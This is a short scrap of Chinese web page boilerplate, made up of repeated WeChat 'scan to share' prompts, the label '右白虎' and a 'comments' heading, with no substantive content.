- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论